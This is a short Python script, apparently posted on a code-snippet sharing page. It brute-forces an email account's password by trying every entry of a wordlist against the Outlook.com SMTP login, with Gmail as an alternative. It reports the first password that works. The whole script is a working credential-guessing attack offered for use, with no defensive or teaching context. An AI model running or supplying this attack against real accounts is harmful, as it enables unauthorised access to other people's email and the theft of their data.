#!/usr/bin/python
# Dyrk.org 2016-2017
import smtplib
# Outlook.com
smtp_s = 'smtp-mail.outlook.com'
# Gmail
# smtp_s = 'smtp.gmail.com'
smtp_p = 587
sender = 'target_adress@hotmail.com'
dico = 'pwdlist.txt'
with open(dico) as f:
for password in f:
password = password.replace('\n', '')
try:
m = smtplib.SMTP(smtp_s, smtp_p)
m.ehlo()
m.starttls()
m.login(sender, password)
print '[OK] => ' + sender + ' : ' + password
m.close()
exit()
except smtplib.SMTPAuthenticationError, e:
if e[0] == 534: # Gmail
print '[OK] => ' + sender + ' : ' + password
print e
exit()
else:
print 'try ' + password + ' .... err. ' + str(e[0]) \
+ ' >>> ' + e[1]
Preview:
downloadDownload PNG
downloadDownload JPEG
downloadDownload SVG
Tip: You can change the style, width & colours of the snippet with the inspect tool before clicking Download!
Click to optimize width for Twitter